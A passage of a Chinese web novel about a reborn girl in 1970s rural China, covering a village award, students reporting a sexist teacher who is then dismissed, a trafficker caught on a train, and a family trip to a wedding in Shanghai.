“钟家岗大队，积极响应国家号召，和下乡知青团结协作，共同创造了插秧机，在农业生产中表现突出，特授予‘先进生产大队’称号！” 台下掌声雷动，村长咧着嘴小跑上*去，接过那面印着金字的锦旗，回来时差点被台阶绊倒，惹得大伙儿一阵哄笑。 接着是知青们，每人发了一张‘优秀知青’奖状，外带一个白底红字的搪瓷缸子，上面印着‘为人民服务’五个大字。 “钟家岗运气咋那么好呢？”吴家村的村长忍不住艳羡道，往年都是他们拿先进的，今年突然换了人，任谁心里都不是滋味。 他们村自从吴大勇那一家进去了之后，就慢慢的被钟家岗超过了。 难道是有什么由头？ 吴老娘、吴老爹、吴大海都出来了，现在在村子里低着头做人，吴大海媳妇也在吴大海进去的时候，跟他离婚，带着孩子跑了。 这三个人天天在村里，阴测测的。 村里娃娃都不敢往那块去，该不会是这一家子丧门星克他们村吧？ 要不，怎么钟家岗分到的知青那么能耐，到了他们村，就是一群不是天天打架，就是嚷嚷着我要举报你的。 指定还是有什么说法。 回头他得私下里找人看看风水。 钟莹莹偷偷摸了下李莉莉的缸子，凉丝丝的。她心想：好像和后世的没有什么区别。 他们这群孩子也受到了表扬，本来没有这方面的打算的，但是记者的照片都洗出来了，县里又紧急去买了奶糖，每个孩子一人发了一整包。 散会后，书记还带他们去领了半扇猪肉，这是老传统了，除了锦旗，先进大队还有肉吃，要不大家的积极性能那么高吗？ 回村的牛车上，大伙儿一路欢呼：“回家吃肉咯。” 钟新澄相中了村长拿的那面锦旗，一会摸摸，一会又用手指头扣扣。 村长心疼的将锦旗卷好，放到怀里抱好，不给他作弄，害的他小声嘀咕一句：“村长小气鬼，喝凉水～” 钟莹莹听见了，一巴掌拍在他后脑勺上：“怎么说话呢，跟你说过多少遍了，小孩子要懂礼貌，不能骂人。” 这孩子真的欠调教。 到家后，家家户户都分了老大一块肉。 晚饭时，处处是肉香。 村长爹感慨道：“咱们这也算是赶上好时候了，想当年……”他爹的爹，还在地主老爷手下过活的时候，饿的捡人家吐地上的红薯皮吃，人家嫌恶心，抽了他一顿。 要不是……唉……不提也罢，事情都过去这么多年了，提了对他们不好。 愉快的日子总是非常短暂的。 钟莹莹开学了，钟新澄也被不情不愿的托着送去读了一年级。 钟莹莹开学读初二，原先教语文的老师，被调走了，换来个姓刘的男老师。 开学第一次听写，有个女生把‘踌躇’写成了‘抽出。’ 刘老师当场就是一阵冷嘲热讽：“这都初二了，连个听写都听不明白，还读什么书？” “有些人啊，天生命不好，怎么学都那样！” 那个女生被臊得脸通红，低着头，眼泪大颗大颗的往下掉。 如果他对大家一视同仁，那倒无所谓，钟莹莹可以看作是他本身就教学严格。 可是等到男生出错的时候，他却温声细语的说：“没事，回去好好努力就好，男生的后劲儿足，以后能学好的。” 班里的女生都被他找了遍茬。 轮到钟莹莹的时候，作业没问题，听写，朗读都没问题，他无从下手，因为麻烦没找成功，他很不甘心，一直盯着钟莹莹，就等着她哪天犯错误了，狠狠教训他一顿。 这天，刘老师又故意找茬：“吴月，怎么读书的，念书口齿不清，嘴巴都张不开，大声点！” 吴月脸一红，提高了声音：“轰起云勇。” “轰起云勇……你看你读的啥……是哄气勇勇，不是轰起云勇！” 钟莹莹听得直想笑，自己都没读对，还好意思骂学生，风起云涌，读成哄起勇勇。 “你笑什么？来你来读。”刘老师眼一瞥，扫见钟莹莹在笑，立马就像抓到她小辫子了一样，喊人起来。 “老师，是风起云涌，不是哄气勇勇，你读错了。”换个真是这个年龄段的孩子指定不敢反抗老师，可钟莹莹不是。 ‘嘭～’ “你还能耐了，就你读的对，你读的对你咋不当老师～”刘老师把黑板擦往讲桌上一摔，怒骂道。 “我看你这么厉害，这节课你来上好了。”说完，他把书一合，夹在胳肢窝里，‘嘭’的一声踹开教师门，怒气冲冲的回办公室了。 教室里一片死寂，沉默许久后，又猛然爆发出一阵喧闹声。 有男同学过来指责钟莹莹：“都怪你，把刘老师气走了，没人给我们上课了。” “你要去给刘老师道歉。” “对，道歉。” 女生们却是鸦雀无声，她们每一个都被刘老师针对过，说不出一句向着他的话。 楚秀秀捏着衣角，鼓起勇气：“莹莹没错，是刘老师的错。” “刘老师自己读错字，还生气，刘老师小气鬼。” 说完，心里的郁气被抒发，她竟然感觉有点爽？ 有一个站出来，就有另外一个站出来。 “刘老师天天骂我们女生，夸你们男生，可是明明我们班排名前十的都是女生，就是刘老师的错，是他偏心。” “对。” “老师偏心，我们才没错。” 越说越多，越骂越爽，她们好像明白了，为什么刘老师那么喜欢骂人了，原来骂人真的会爽啊。 “刘老师哪里会有错呢？人家说了男生后劲大，好日子在后面呢～”钟莹莹一阵阴阳怪气～ 这些话两辈子不知道听了多少遍了，莫欺少年穷，莫欺中年穷，莫欺老年穷，最后是死者为大，不对，是莫欺死穷鬼。 能力没见着，自我安慰的话倒是听了不少，严以待人，宽以待己。 “哈哈哈哈哈哈哈……”女生这边一阵哄堂大笑。 小男生哪里见过这场面，一个个脸胀的通红，嗫嚅道：“你们欺负人，我要告老师去。” 第36章 直到放学，刘老师最终也没回到课堂上来。 宿舍的煤油灯灯火摇曳，昏黄的光线下，六张年轻的面孔显得有些不安。 但细究还能看出一丝的愤慨与暗爽，显然没有一个后悔自己白天的举动。 钟莹莹坐在下铺的床沿上，慢条斯理地用梳子梳头发，以前九九六，导致秃头，现在这一头秀发可要好好保护。 “我们真的要和刘老师道歉吗？”吴月眼睛有些红，她因为口音的问题，已经被刘老师骂了不知道多少次了，这次是第一次有人站出来为她出头，一时之间，一向胆小的她竟然生出了反抗老师的心思。 “我不想道歉。”楚秀秀手指紧紧攥着打着补丁的床单，用力之大，指节都泛了白。 在家里弟弟每次做错了事情，爹娘都说他是弟弟，自己是姐姐，理应让着弟弟，大姐现在不上学了，在家里天天看着弟弟，弟弟出错，也是姐姐挨打。可凭什么呢？ 就凭他是个男孩子吗？犯了错也有人说他们后劲足，以后会出息的。 姐姐为啥没考上中学，还不是每天放学都要回去干活，一学习家里人就有事喊她，然后没学好，他们就说女生就是后继无力，可男生呢？即使什么活都不干的情况下，考试成绩差都会被夸奖。 他爹娘是，刘老师也是，身边很多人都是。 但钟家人不是，莹莹在家可以随意教训新澄，他们家就从来没人说这种话。 究竟谁对谁错呢？楚秀秀以前很迷惑，现在却明了了，一切都是借口，都是打压女生的借口，她们女生从来不比男生差。 “我也不想道歉。”李红雪的眼睛在昏暗的灯光下，仍旧熠熠生辉：“开学测验我明明考的比刘兵高二十分，刘老师却说我是‘死记硬背’，说刘兵潜力在后面呢。” “难道就因为刘兵是他侄子，所以在他眼里就优秀吗？而我们是女生，生来就要被他打压吗？”李红雪越说越激动。 “还有之前，”角落里的一个女孩子弱弱开口道：“刘老师让我去搬书，说男生的手是拿来读书写字的，女生就该多干点活。” 钟莹莹一个个听下去，几乎每个女生或在明处，或在暗处，都被那老登不同程度上的针对了。 此时此刻她们需要一个能主持大局的人，因此她开口道：“我们不能再这样下去了，刘老师是典型的重男轻女思想，不反抗他还会一直欺负我们！” “他针对我们，是他不配当老师，不是我们的错” “人大领导都说了，男女平等。” “对啊，对啊，我们没错。”几个女生原先有些摇摆不定的心，逐渐坚定起来。 她们应该做些什么，不然这个害群之马，以后还会在学校祸害一届又一届的学生。 宿舍六个脑袋凑到了一起，之前声音很小的那个女生道：“我家里有人在教育局工作，我可以去举报……” “没看出来啊，你这么低调？”宿舍其他人都很惊讶。 这孩子平常上下学都低着头，还以为和她们一样，是从村里考上来的。 如果刘老师知道，她家有这层关系的话，应该不敢那么明目张胆的针对她了吧， “我们还可以联合其他班的女生……”刘老师代课是代了整个年级的课程，她们班有人被欺负，其他班指定也有。 钟莹莹感觉莫名燃起来了，没想到大家都这么努力，这和前世不一样的，以前大家都是私底下抱怨几句，然后忍着，告诉自己忍到毕业就好了，现在，一切都在往好的方向转变。 正在几个女生七嘴八舌的讨论着怎么把刘老师给赶下台的时候，宿舍门突然被敲响，几人瞬间僵住，外面竟然有人？不会是老师吧？ “谁……谁啊？”楚秀秀声音发抖。 门开了，站在外面的竟然是校长李知德和宿管老师，李知德定定的站在门口，眉头紧锁，也不知宿舍里的谈话被他听到了多少。 没人不认识他，六个女生齐刷刷站起来：“校长好！” 李知德走进宿舍，目光在每个人脸上停留片刻，最后落在钟莹莹身上：“我刚才在走廊，听见你们在讨论……刘老师？” 事实上，他本来也是为了这件事情而来，刘老师告状，说是初二一班的女生不敬师长，要给他们记过。 李知德觉得记过是一件很大的事情，一旦被记过那这个孩子就没有上高中的机会了，会毁了孩子的。 他不想听信一家之言，所以在开会结束后，让宿管老师带着自己来到了女生宿舍。 没想到站在门口就听见了里面在发牢骚，制止了宿管老师敲门的想法，他站在门口一直从头听到了尾。 这个刘老师，可真会胡说八道，张冠李戴啊。 明明是他肆意欺负女同学，到了他口中，却变成了这些女生扰乱课堂，胡乱顶撞他，幸好他临时起意来了女生宿舍一趟。 李知德从角落李拉过一张凳子坐下，紧接着露出平易近人的笑容，示意宿管老师和女生们也坐：“方便具体说说怎么回事吗？” 李红学、吴月……都垂着脑袋，手指扣着手心，紧张的不得了。 钟莹莹暗叹一声，都是胆小的，还是得她出马啊：“校长，我们刚刚是在讨论刘老师对男女生的不公平对待。” “每次上课他都会找借口骂人，女生没错他也骂，男生犯错了他就说一声知错能改就是好孩子，我们觉得不公平。” “对，我做什么，刘老师都骂我。”想起刘老师在课堂上骂自己的污言秽语，在对比和蔼可亲的校长，吴月眼泪止不住的流，她想家了。 接下来半小时就像捅了马蜂窝一样，另外几个女生也都叽叽喳喳的指控起刘老师，说到伤心处，眼泪一个比一个流的凶。 “郑老师，同学们说的你怎么看？” 宿管老师也就是郑老师，讪讪道：“李校长，同学们说的基本上都是真的。” 她不执教，但是对于刘老师的作风也早有耳闻，由于是同事，平常也不好私下议论，但心里对这种人还是有些不耻的。 李知德听完，眉头紧皱，他竟不知道，自己管理的学校，竟然出现了这么一个渣宰：“我知道了，同学们别哭了，等下记得洗把脸，不然明天眼睛要肿的。” 他声音低沉，接着又开口道：“作为校长，我应该向你们道歉，是我没有及时发现这些问题，才让你们受了这么多的委屈。” “我很欣赏你们的勇气，国家提倡男女平等，教育更是如此，这件事情我会解决的。” 上面正严查教师作风，刘老师这是往枪口上撞。 “谢谢校长！”得到校长的肯定，几个女生握住对方的手，小小的发出一阵欢呼声。 李知德离开口，宿舍里直接爆发出一阵巨大的欢呼声。 “我们真的做到了！”天呐，她是这么敢在校长面前举报老师的啊？吴月都不敢回忆刚刚自己在校长面前说了什么话，她刚刚可真大胆。 钟莹莹内心也很是不平静，原先稳如死水的生活似乎在离她远去。 她以前想着能救下太爷太奶就好了，后面又想着能让钟家岗的生活变得更好些就好了，现在她在想，能让身边的女同学，得到公平公正的待遇，再扩大一点，她想要让男女真正的平等。 而不是喊号子似的，嘴上喊着男女平等，但生了女孩就给溺死，娶了媳妇回家想打就打，想骂就骂，什么狗屁的女孩是菜籽命。 “同学们，刘老师被学校开除了，现在由我来给你们代课。”由于一时之间，找不到合适的老师，宿管老师郑老师被赶鸭子上架。 现在她对于这群孩子是又爱又怕，爱是因为她们给了她任课的机会，怕是害怕哪里做不好，哪天也被告到校长那里去了。 “开除？” “刘兵，你小叔怎么回事？”男生堆里像是炸了锅一般。 刘兵有些难以启齿，昨天他就知道这件事情了，他小叔被学校开除这件事情，让他感到在班级里面很没有面子，所以他不敢和同学说。 没等刘兵回答，郑老师就用黑板擦敲了敲黑板：“大家安静一些，上课了。” “我知道你们对刘老师被开除一事很好奇，上完这堂课，你们就知道原因了。” 郑老师在黑板上用粉笔重重写下‘男女平等’四个字。 “男女平等，就是我要给你们上的第一堂课。” 这话一出，哪里还有人不知道，刘老师是怎么被开除的。 难道刘老师真的是错的吗？男生心里满是疑惑。 “伟人说过，妇女能顶半边天，男女都一样，男同志能办到的事情，女同志也能办到，时代不同了，我们现在是新社会，不是地主老财的旧社会……” 随着郑老师的娓娓道来，男生们心里的疑惑被解开，刘老师和伟人比，那肯定是伟人说的对。 下课后，之前指责过钟莹莹的那个男生，扯着自己的衣角过来道歉：“钟莹莹，对不起。” 班上其他之前嘲讽女生的男生也纷纷道歉，只有刘兵，还难堪的坐在座位上一动不动。 女生们也不理睬他，手拉着手去了食堂。 听说今天食堂有肉菜，炖了香喷喷的猪蹄呢，去晚点可能就买不到了，平常可见不着这么纯粹的荤腥，最多也就给菜里放点肉丝肉末啥的。 这次的菜好像是校长特意让人采购的。 第37章 炖得烂烂的猪蹄，浇上酱红色的汤汁，泛着晶亮的油光，那香气能飘到十里开外去。 食堂窗口已经排起了长队，班里那几个男生仗着个子高，腿长，跑的快，虽然比女生晚出发，却更早的到达，挤到了队伍前面。 往常，他们打完饭，还要嘲讽一句，女生小短腿，吃饭都赶不上趟儿，今天却反常的你挤我一下，我挤你一下，耳朵泛红地给女生让了位置，让她们先打。 钟莹莹楞了一下，没想到今天还有这福利。郑老师的那堂课威力这么大的吗？改变，真的可以这么快的吗？ 反应过来后，钟莹莹随即道谢，带着几个舍友排到了前面去。 食堂闹哄哄的，笑声、碗筷声混成一片。 猪蹄入口的那一瞬间，感觉整个人都幸福起来了。原生态无污染的土地种植的粮食喂养出的土猪，猪蹄胶质感满满，配上咸香的酱汁，再扒上一口大米饭，对于严重缺乏油水的肠胃来说，简直无敌了。 周五傍晚，钟莹莹跟着舍友准备回宿舍，就被郑老师叫住了：“钟莹莹，你家里人来找你了，在学校大门口等着呢！” 钟莹莹很奇怪，家里谁会来，这个点是家里有人出啥事了吗？ 她三步并作两步，飞快的朝校门跑去。 学校门口的白杨树下，只有一个看起来很陌生的女人，身上穿着白衬衫，脚上踩了一双锃亮的黑皮鞋，齐耳短发，手里还牵着一个五六岁的小女孩。 等女人转过身来，钟莹莹看清她的模样，立马惊呼一声：“姐？” 钟明芳笑着应了一声。 “你咋变化那么大？”钟莹莹不敢相信，这才走了几年，完全就像是大变活人了一样。 原先的钟明芳，怯懦又胆小，被吴家人欺负了，都不敢反抗，现在的钟明芳，看起来明艳又美丽，整个人身上充满了蓬勃向上的生命力。 钟明芳抿嘴一笑：“在部队里待久了，不想给你姐夫丢脸，总得学着打扮。” “姑姑。”可爱的小奶音从钟明芳牵着的那个小女孩口中发出。 “丽丽也长大了。”钟莹莹又上下打量了一下钟丽丽，当时和吴大勇离婚时，丽丽就改姓了，跟着钟明芳姓钟，后面钟明芳再嫁，丽丽也没再改成跟后爹姓。 爹会变，娘指定还是那个娘，跟着娘姓，也少受点折腾。 丽丽的变化也非常大，原先在村里散养被晒得有些黝黑的皮肤，现在白的一点也看不出来了，那小胳膊更是跟藕节似的，白生生，嫩溜溜的。 钟明芳刚下火车就带着丽丽来接钟莹莹了。 钟莹莹周六周日放假，平常都是等到周六早上回家，周五晚上回去走夜路不安全。 黄有德一大家子都回来了。 晚饭时，钟家难得热闹。 黄家人去了村长家，钟明芳带着钟丽丽留在了钟家。 “明芳，吴家吴老头和老太婆走了，你想去看看吗？”这是吴家村村长特意过来通知的。 两老的葬礼办的很简陋，草草一副薄棺就埋地里了，孩子一个不在身边，孙子被大儿媳带走了，不让再跟吴家人接触。 二儿子小儿子都在蹲篱笆子，大儿子跟老两口一块出狱后，就不知所踪了。 老两口都没了也没见他的人影。 吴家村村长想着，丽丽好歹算是吴家的血脉，去看一眼，也算是好的。 人都没了，那些恩恩怨怨的，也该随风飘散了。 “不去，丽丽也不去。”当初吴家就说了，丽丽以后不是他们家的孩子，现在家里没人了，想起他们丽丽还算吴家人了。 “丽丽现在姓钟，是我们钟家人，跟吴家没有关系。”钟明芳真的变了，整个人说话掷地有声，再不复当初模样。 “也对，那我直接拒掉了。”这世上哪有那么好的事呢，人一死，就想着人死债消。 钟伟先之所以提这么一嘴，还还是想着毕竟有血缘关系在，万一哪天孩子想起爷爷奶奶，他害怕她会怪自己。 丽丽也听见这些话了，整个人却无动于衷的继续和钟新澄吵嘴，都在争姑姑究竟更爱谁。 钟新澄一直以为，钟莹莹只有他一个侄子，没想到外面还有个外甥女。 俩孩子就这件事，简直吵翻天了。 大人们也不管，只让他们吵去，一会儿一个官司，谁也判不赢。 宋茹从海市来了信，还寄了包裹，信里面夹了几张花花绿绿的票券，包裹里是很多海市特产。 信里说，她要结婚了，如果钟家人有空的话，她想邀请钟家人去海市参加她的婚宴。 陈显英听说宋茹结婚，既高兴又发愁，高兴的是，经历过那样的事情，这姑娘还能鼓起勇气，再接纳新人，代表她已经放下了那件事，发愁的是路费不便宜，车票也不好买。 上回去那一次，还是托了她新女婿的福，买到了卧铺票。 要是她们自己去，估计就得提前去火车站排队，才能买到坐票，硬板凳坐一天，不是非得出行，没人愿意遭那个罪。 钟伟先知道宋茹真正想邀请的是谁，他拍板决定：“去，让莹莹和明芳一块去。” 人家次次送来这么多好东西，总不能白拿人家的。 这几年，两家人时有通信，钟家人也有回礼，自家腌的腊肉，咸鱼，寄过去不少，但是远远比不上宋家人寄过来的。 陈显英的身体自打那次手术后，就变得虚弱了好多，这种需要长途跋涉的旅程，显然是不适合她的。 钟明芳这次回来能待十多天呢，黄有德好像要转业回来了，所以之前攒的假都放这次了，他准备好好运作一下。 “行，那就让明芳带着莹莹过去，丽丽也带上。” 钟新澄一听，不得了了，姑姑要带着丽丽去，不带他，立马在地上撒泼打滚：“我也要去、我也要去海市，凭什么带丽丽不带我？呜呜呜哇哇哇哇……” 熊孩子扯着嗓子吼啊，简直要给人耳膜都震破了。 “木木，你给我起来。”钟绍华气不打一处来，这孩子，身上的衣服还是他洗的呢，就这么在地上左滚滚，右滚滚，没两下，就滚一身土了。 “我不起……你们偏心……只带丽丽出去玩，不带我……哇……”说着说着，哭的更大声了。 整个钟家充满了他的哭声。 住在钟家两边的老楚和老万都探出头来看，是不是钟家在打孩子呢。 “你起来好好说，就带你一块去。”钟莹莹哄道。 俩孩子差不多大，只带丽丽不带钟新澄，那孩子心里肯定不舒服。 “别哄他了，明芳一个人，咋带仨小孩，万一火车上遇到人贩子，给他拐了卖山里去，到时候让他连家都找不着。”钟绍华没好气说。 “行了，到时候我把仨孩子都拴个绳子，绑腰上总行了吧？”钟明芳跟着劝道。 放一个羊也是放，放两个羊也是放，放三个羊会有什么区别吗？ 黄家那三个孩子，加上她自己的一个闺女，她不也常常一起带着了吗？ 三个比四个还少了一个呢。 “那就木木和丽丽一块带上。”陈显英答应了。 “还不起来？你奶奶都答应了。” 感受到自己老爹危险的死亡视线，钟新澄立马一个翻滚就从地上爬起来了。 “我起来了～～”钟新澄擦擦眼泪，哼了哼鼻子里的鼻涕。 票还是黄有德托人买的，又是买了两张卧铺票，这次没买到下铺，两张都是上铺。 钟莹莹跟学校请了一个星期的假，打算和姐姐还有俩好大侄一块去海市玩一玩。 她这两年攒的压岁钱，几乎没怎么动过。 平常买东西，她娘都会另外给她拿钱和票。 这次出门，她娘也给她兜里塞了二十块钱，还给塞了几张全国粮票。 穷家富路，出门在外，不能饿着孩子。 钟明芳那里陈显英也给塞了钱，钟明芳没要，又偷偷给放回去了，带自家小妹和侄子出去玩，总不能还让老娘掏钱。 钟家给的礼金，钟明芳倒是带着了，十六块六毛。 算是比较大的金额了，一般人家结婚礼金，也就给个一块五毛的。 宋茹和钟家关系好，宋家家境又远超钟家，多给些，也正常。 “哇……这就是火车啊！”看着眼前的绿皮车厢，钟新澄整个眼睛都直了。 这是他第一次见火车，也是第一次离开家，还没带家长。 “羞羞脸，连火车都没坐过，我回来的时候就坐过火车了。” “我都坐过好多次了。”丽丽冲钟新澄做了个鬼脸。 其实这才是她第三次坐火车，第一次是跟她娘一块去随军，第二次就是回来，第三次就是这次。 但这不妨碍她忽悠小屁孩，谁让这小孩和自己争姑姑了。 当初搁家的时候，姑姑只领着她一人玩，要不是她不在家，姑姑才不会带这个讨厌的弟弟玩呢。 “你……”钟新澄手指指着丽丽，眼见两小只又要吵起来。 钟莹莹立马制止。 “好了，别吵了，要上车了，都牵好我的手，不然一会儿人贩子给你们都抓走。” 检票员见三个娃娃一本正经的装大人，只觉得怪好笑的。 三人检票上车，找到自己铺位躺上去。 俩孩子死活要跟钟莹莹挤一个铺，没办法，只能挤挤了，钟明芳自己在对面盯着三个孩子。 睡到半夜钟莹莹就感觉不对，好像有人在拽自己搂着的俩大侄。 第38章 黑暗中，那只探进被窝的手，冷的像冰块一样，钟莹莹浑身一激灵，睡意瞬间消散。她眯起眼睛，借着车厢连接处微弱的灯光，看见一个佝偻的身影正踮起脚往他们的铺上伸手。 她脑海里第一个念头就是：“有人贩子！” 钟莹莹的心脏狂跳，理智告诉她不能轻举妄动，那人动作熟练，显然不是第一次作案。 如果将人惊动了，可能就再也抓不到她了。 来掏孩子的这个是个女的，过道处还有一个人影站在黑暗里，显然是守门通风报信的，那一丝微光并不足以让钟莹莹看清这两人的模样。 她想了想，从空间掏出一瓶墨水，借着被子的掩护，拧开了瓶盖。 黑影似乎觉察到钟莹莹的动静，动作顿了一下。 钟莹莹屏住呼吸，假装翻身，将俩孩子都朝床里面推了推。 她眼睛眯起一条缝，偷摸看人，她终于看清了那人身上穿的衣服，一件半新不旧的蓝色衬衣，左手袖口处还打了一个补丁。 时机到了，钟莹莹猛然坐起身，拿着墨水瓶，对准那人的脸就泼了过去。 “啊～”一声轻微的痛呼响起，那人条件反射般的闭上了眼睛。 钟莹莹立马扯开嗓子尖叫：“有拐子要偷孩子，抓人贩子啊！”尖锐的嗓音直接打破夜晚的寂静，她一边喊，一边死死的抱住自己的俩大侄子，不给人趁机夺走孩子的机会。 “快走！”走道上那人冲车厢内喊了一身，随即立马消失不见了。 车里这人也想走，钟莹莹又放开孩子，抄起枕头，用尽全身的力气砸中了她。 就这么一下，让她的行动缓慢了一瞬。 急促的口哨声从车厢另一端传来，两名乘警快速逼近，开灯的瞬间，灯光的刺激让钟莹莹眯起了眼睛。 地上那人还想跑，乘警一个箭步过来就将人给按到在地上。 “还有一个，往那边跑了。”钟莹莹指着方才走道那人消失不见的方向。 一名乘警留下按住手下抓住的这个人贩子，另外一名追了出去。 整个车厢乱作一团，乘客们议论纷纷。 钟明芳从对面的铺位上直接跳下来，挨地的那一瞬间，脚下还踉跄了一下，她没管，只是迅速爬到对面的铺上，将三个孩子护在身后。 她紧紧的搂着三个孩子，手臂还有些微微发抖，心里满是后怕。 不敢想象，这三个孩子，哪一个丢了，会是什么场景。 钟丽丽和钟新澄这会儿也安静如鸡，小孩子哪里见过这场面，姐妹姑侄四人紧紧抱在一起。 “那个没抓到，跳车跑了。”去追人的那个乘警气喘吁吁的回来了。 “还好抓住了一个，到时候顺藤摸瓜，应当能有些线索。” 之后，又来了两个工作人员，将被抓住的这名女人贩子给带走了。 钟莹莹终于看清她长什么样，她刘海很长，几乎遮住了右边半张脸，露出的那左半边脸，除了有自己泼洒的墨迹外，剩下的皮肤蜡黄一片，转身时，刘海微微掀起，钟莹莹看见，那掩盖在刘海下的右半边脸，好像有着很深的烫伤疤痕。 人贩子被带走后，乘警开始挨个询问这个车厢的乘客做笔录。 大家都答，听到一小孩大喊有人贩子偷孩子才醒的，于是，乘警直接跳过其他人，过来询问钟莹莹。 了解详细过程后，乘警对钟明芳道：“同志，您家这孩子真机灵啊。” “大人都未必这么冷静，能想到用墨水泼人做标记。” 钟明芳听了，心中既骄傲又后怕：“我妹妹打小就机灵，考试一直考双百呢。” 随着夜深，车厢逐渐恢复平静，车里的人却是不敢再睡了，睁着眼，熬一熬也就天亮了，谁知道人贩子会不会趁他们*放松去而复返。 天蒙蒙亮时，列车长亲自来到他们车厢，身后还跟着两名铁路公安。 “钟莹莹小朋友是哪位？”列车长和蔼地问道。 钟明芳有些紧张，口快地替钟莹莹问道：“您找我们家孩子有什么事吗？” “这位家长，别紧张。” “我们是来感谢钟莹莹小朋友的，因为她的机智勇敢，才让我们抓住了那个人贩子。” “根据那个人贩子的口供，我们还打掉了一个长期在铁路上作案的团伙。” “所以，根据铁路公安处的规定，我们来给她送奖励来了。” 列车长稍微让开位置，让身后的公安同志上前来。 公安同志从公文包里取出一个红绒布盒子，盒子里面是一只崭新的钢笔还有一瓶未开封的墨水。 钟莹莹接过时，公安同志又掏出一张大红的奖状，上面写着“见义勇为”四个大字，底下标明了铁路公安部处颁发，赠钟莹莹，还盖了鲜红的印章。 “小朋友，你的墨水协助抓人时用掉，我们再奖励给你一瓶，还有这支钢笔，希望你以后能好好学习，长大以后报效国家。”说着，公安同志冲着钟莹莹敬了一个礼。 钟莹莹也坐在上铺昂首挺胸回了一个不伦不类的礼，其他铺位的人忍不住‘噗呲’一声笑出来，觉得这孩子可真有意思。 “公安处的奖品发了，现在是我们铁路局的奖励。”列车长笑眯眯的上前来。 他掏出一个信封：“这是我们的一点小小心意，小朋友，你收好，下车到家以后再看。” 车上人多眼杂的，万一被人盯上，动了不好的念头就不好了。 钟莹莹接过后，看似折了一下放到自己的裤子口袋里，实则借着口袋的掩护把东西放进了空间里。 奖状也被她卷起来收好了，这玩意等到那几年，作用可比钱大的多。 钟明芳没过问这个事情，给孩子的奖励，她不能拿了，钟莹莹放不好再来找她，能放好还是自己放着比较好。 她这个妹妹，可比她机灵多了。 昨晚要是没她的话，估计俩孩子能丢完。 她自己也是警惕性太低了，之前坐火车，车上有丈夫和婆婆，所以没感受到什么危险，还以为这次会和之前一样顺利。 爹娘和她说，上车后要看好孩子，她嘴上答应，心里却没那么在意，没想到第一次单独出行就出事了。 以后万万不能这样了。 列车长走后，钟新澄和钟丽丽围着钟莹莹团团转，昨晚的紧张不安退去，这俩孩子此刻心里只有兴奋。 “姑姑，你成英雄了！”钟新澄仰着小脸，眼睛里满是崇拜。 丽丽也跟他一样，从来没有这般敬佩过自己姑姑。 钟莹莹认真对俩孩子说：“下车以后，一定要牵紧姑姑的手，听到了吗？” “不然昨天那人贩子，就会给你俩抓走，以后再也见不到爹娘和姑姑了。” 俩孩子使劲点头，钟新澄学着大人模样，拍了拍胸脯道：“我一定会的，我长大以后也要像姑姑一样，帮警察抓人贩子。” 丽丽不甘示弱，紧随其后一样表明决心。 钟莹莹只觉得心里很是安慰，钟新澄这家伙，价值观算是立住了，以后应该不会再长歪了吧？ 其实昨晚那个人的目标应当是钟新澄，这年头小女孩不好卖，小男孩才叫吃香。 钟新澄家里养的好，整个人胖乎乎的，虽然夏天疯玩晒黑了一点，但看起来皮实的很，人贩子就喜欢这样的孩子。 昨天那女人掏了半天，就是想掏睡在里面的钟新澄来着。 这傻孩子还乐呢，真被弄走了，哭都没眼泪。 上午十点，列车到站，下车时，宋茹已经在站台等着了。 他们出发之前，钟伟先就去县里拍了电报，告诉了宋茹他们的到达时间。 “什么？你们遇到人贩子了？”坐在宋茹新未婚夫的小汽车上，钟家几人说起了路上的经历，宋茹一下子就瞪大了眼睛。 她当时就是被人贩子给卖到吴家村去的，中间还倒了好几手，那实在不是多美丽的回忆。 好在一切都过去了，宋茹抬眼望着开车的未婚夫，眼睛里写满了温柔。 赵擎家之前不知道发什么疯，疯狂刨一个破院子的土，说是丢了什么东西，被人查到这家人私底下想移民出去，然后就被举报了。一家子下台被赶到北疆去了。 她那个好表妹，工作被她爹弄没了，找一个工作她爹破坏一个，今年下乡活动，也被打包也送到北疆去了。 地址是宋茹和她爹一起选的，既然郎有情，妾有意。那还是锁死好了，免得这俩人分开又去霍霍别人。 宋茹现在这个未婚夫是她大学同学，之前一直喜欢她，因为赵擎的存在，没敢表白，等到赵擎和林晚晚搞到一起，他又从犄角旮瘩里迅速钻出来，找上了宋家。 一开始宋茹是不同意的，之前的经历让她对婚姻没有太多的期待。 现未婚夫王书钰，锲而不舍，花了五年的时间，终于让这父女俩都松了口。 钟莹莹暗自打量了王书钰一番，长得不错，看起来应当是个好的。开车去车站接他们的时候，身上也没有那种城里人面对乡下人时的傲慢感。 第39章 “姑姑，坐小汽车真好啊！”钟新澄放低了声音，扯了扯钟莹莹的袖子。 陡然到一个陌生城市，一开始的兴奋劲儿过去，他就有点子拘束在身上了。 “等你长大了，也可以学着开小汽车。”宋茹听了笑呵呵道。 得益于钟莹莹，她对钟家的孩子好感值都很高。 “对，等你成年了，可以来海市，到时候叔叔教你开车。”王书钰调转车头，停下车子，转过身脸上也满是笑意。 他知道宋茹的全部经历，对钟家人也很是感谢。 没有钟家人，他这辈子可能再也见不到宋茹了，现在，能和宋茹结婚，已经是他此生最大的幸运。 王书钰是个孤儿，大学的时候，一度连饭都吃不起。 宋茹路过，可怜他，给了他一口饭吃。 他就记在了心里。 因着宋茹身边有赵擎，还有两人的差距，不敢表露。 宋茹被拐的那段时间，他一直在找她。 等到她平安归来，王书钰又默默地隐藏起自己的心事。 直到宋茹和赵擎闹掰，他见到有人编排宋茹，才一怒之下，当众去了宋家提亲。 宋茹因为自己的遭遇，不敢再信任男人，他就守着宋茹过了五年。 能和心上人处在一个空间已经十分幸福了，他不敢再奢求太多。 没想到，好运真的会降临在自己身上。 王书钰这段时间看什么都是顺眼的。 钟莹莹听见钟新澄对小汽车又感兴趣了，心想，小娃娃，一天天的，一会儿一个想法。 丽丽这会儿已经在钟明芳的怀里睡着了，晃悠的小汽车对于不晕车的人来说，十分催眠。 下车的时候都没醒，还是钟明芳给她抱进招待所去的。 宋家这次要嫁女，屋里东西堆的多，钟莹莹他们人又多，就不太适合去宋家住了。 宋冬宇提前让招待所留了一个单间。 姐妹姑侄四人住一间屋子，晚上门和窗子锁好，不会有什么危险。 外面的巡逻队又不是吃素的。 钟家一行人在招待所休整好，第二天的时候，俩人带着钟家四人一块逛了海市比较知名的几个地标性建筑。 王书钰和宋茹的婚宴安排在第三天。 “木木、丽丽起床了，今天我们要去宋姑姑家。”钟莹莹喊宋茹叫姐姐，到俩孩子这里只能升一个辈份了。 俩孩子睡眼惺忪，不知天地为何物。 一心只想睡觉，钟莹莹和钟明芳推了好几次都没起。 